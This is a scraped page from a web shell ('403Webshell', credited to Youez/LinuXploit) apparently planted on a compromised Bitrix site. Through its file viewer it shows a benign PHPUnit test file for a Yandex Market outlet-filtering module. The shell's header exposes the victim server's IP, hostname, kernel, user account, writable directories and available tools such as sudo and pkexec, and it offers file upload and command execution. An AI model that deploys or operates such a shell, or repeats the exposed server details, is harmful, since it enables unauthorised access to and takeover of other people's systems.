403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/local/yamarkethook/tests/unit/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/local/yamarkethook/tests/unit/MainTest.php
<?php
namespace Wbs24\Yamarkethook;

class MainTest extends BitrixTestCase
{
    public function test_getFileSuffix()
    {
        // входные параметры
        $region = 'moscow';

        // результат для проверки
        $expectedResult = '_mos';

        // заглушки

        // вычисление результата
        $object = new Main();
        $result = $object->getFileSuffix($region);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }

    public function test_excludeOutletsByRegions()
    {
        // входные параметры
        $outletCodes = [111, 112, 222, 333, 444];
        $regionIdsAsString = '2,3';

        // результат для проверки
        $expectedResult = [111, 112, 444];

        // для вывода заглушками
        $excludeOutlets = [
            '{"outlets":[{"shopOutletCode":222},{"shopOutletCode":223}]}',
            '{"outlets":[{"shopOutletCode":332},{"shopOutletCode":333}]}',
        ];

        // заглушки
        $CurlStub = $this->createMock(Wrappers\Curl::class);
        $CurlStub->method('curl_init')
            ->willReturn(new \stdClass());
        $CurlStub->method('curl_setopt')
            ->willReturn(true);
        $CurlStub->method('curl_exec')
            ->will($this->onConsecutiveCalls(...$excludeOutlets));
        $CurlStub->method('curl_close')
            ->willReturn(true);

        // вычисление результата
        $object = new Main([], [
            'Curl' => $CurlStub,
        ]);
        $result = $object->excludeOutletsByRegions($outletCodes, $regionIdsAsString);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }

    public function test_excludeOutletsByRegions_withEmptyParam()
    {
        // входные параметры
        $outletCodes = [111, 112, 222, 333, 444];
        $regionIdsAsString = '';

        // результат для проверки
        $expectedResult = [111, 112, 222, 333, 444];

        // заглушки
        $CurlStub = $this->createMock(Wrappers\Curl::class);
        $CurlStub->method('curl_init')
            ->willReturn(new \stdClass());
        $CurlStub->method('curl_setopt')
            ->willReturn(true);
        $CurlStub->expects($this->never()) // проверка
            ->method('curl_exec');
        $CurlStub->method('curl_close')
            ->willReturn(true);

        // вычисление результата
        $object = new Main([], [
            'Curl' => $CurlStub,
        ]);
        $result = $object->excludeOutletsByRegions($outletCodes, $regionIdsAsString);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit